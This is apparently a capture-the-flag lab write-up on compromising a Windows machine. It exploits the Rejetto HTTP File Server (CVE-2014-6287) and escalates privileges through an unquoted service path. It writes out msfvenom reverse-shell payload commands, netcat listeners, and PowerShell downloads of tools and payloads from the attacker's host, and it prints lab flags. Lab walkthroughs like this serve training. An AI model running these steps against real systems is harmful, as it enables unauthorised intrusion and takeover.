# Who is the employee of the month? – Checked the page source

Bill Harper

# Ports found from nmap of 10.10.30.37

Graphical user interface, text

Description automatically generated

# Take a look at the other web server. What file server is running?

Rejetto file server

# What is the CVE number to exploit this file server?

2014-6287

# Use Metasploit to get an initial shell. What is the user flag? –

A screen shot of a computer

Description automatically generated with medium confidence

#

Calendar

Description automatically generated with low confidence

#

Graphical user interface, text, chat or text message

Description automatically generated

# set as a background and switched to use multi/handler. Set the following parameters

Set payload windows/shells/reverse\_tcp

Set LHOST

Set LPORT 4444

Run -j to run in the background

# Used commands load powershell and powershell\_shell to load the PowerShell terminal. Uploaded the PowerUp.ps1 file after downloading from <https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1>

Text

Description automatically generated

# What is the name of the service which shows up as an unquoted service path vulnerability?

AdvancedSystemCareService9

#cd the directory to C:/Program Files (x86)/IObit. Generated exploit to ASCService.exe using msfvenom -p windows/shell\_reverse\_tcp LHOST=10.9.9.34 LPORT=4444 -e x86/shikata\_ga\_nai -f exe -o ASCService.exe

# Used sc stop AdvancedSystemCareService9 to stop the service in the shell and uploaded the file ASCService.exe to overwrite the original file. Next, ran sc start AdvancedSystemCareService9 to open a shell.

Results from Administrator/root.txt –

Flag 9af5f314f57607c00fd09803a587db80

# Gaining access without Metasploit

- downloaded the Rejetto Http File Server exploit 39161 from Exploit.DB and changed IP and ports to local

- downloaded the ncat.exe and renamed nc.exe

- started a web server using sudo python -m SimpleHTTPServer 80 command

- started a netcat using nc -lvnp 9001

- ran the exploit using python ndg.py 10.10.164.152 8080

A picture containing text, screenshot, computer, computer

Description automatically generated

# What powershell -c command could we run to manually find out the service name?

powershell -c "Get-Service"

# uploaded winPEAS.exe to C:/Users/bill/Desktop using powershell -c wget http://<local IP>:80/winPEAS.exe -outfile winPEAS.exe

Text

Description automatically generated

# ran winPEAS.exe

A picture containing graphical user interface

Description automatically generated

# generated a new exploit with sfvenom -p windows/shell\_reverse\_tcp LHOST= LPORT= -e x86/shikata\_ga\_nai -f exe -o ASCService.exe

# Copied ASCService.exe file to shell using powershell -c wget "http://<local IP>:80/ASCService.exe -outfile "ASCService.exe"

- used sc stop AdvancedSystemCareService9

- copied the ASCService.exe to Advanced SystemCare folder

- setup netcat to listening port

- used sc start AdvancedSystemCareService9

A screenshot of a computer

Description automatically generated with medium confidence

A picture containing text, plaque, screenshot

Description automatically generated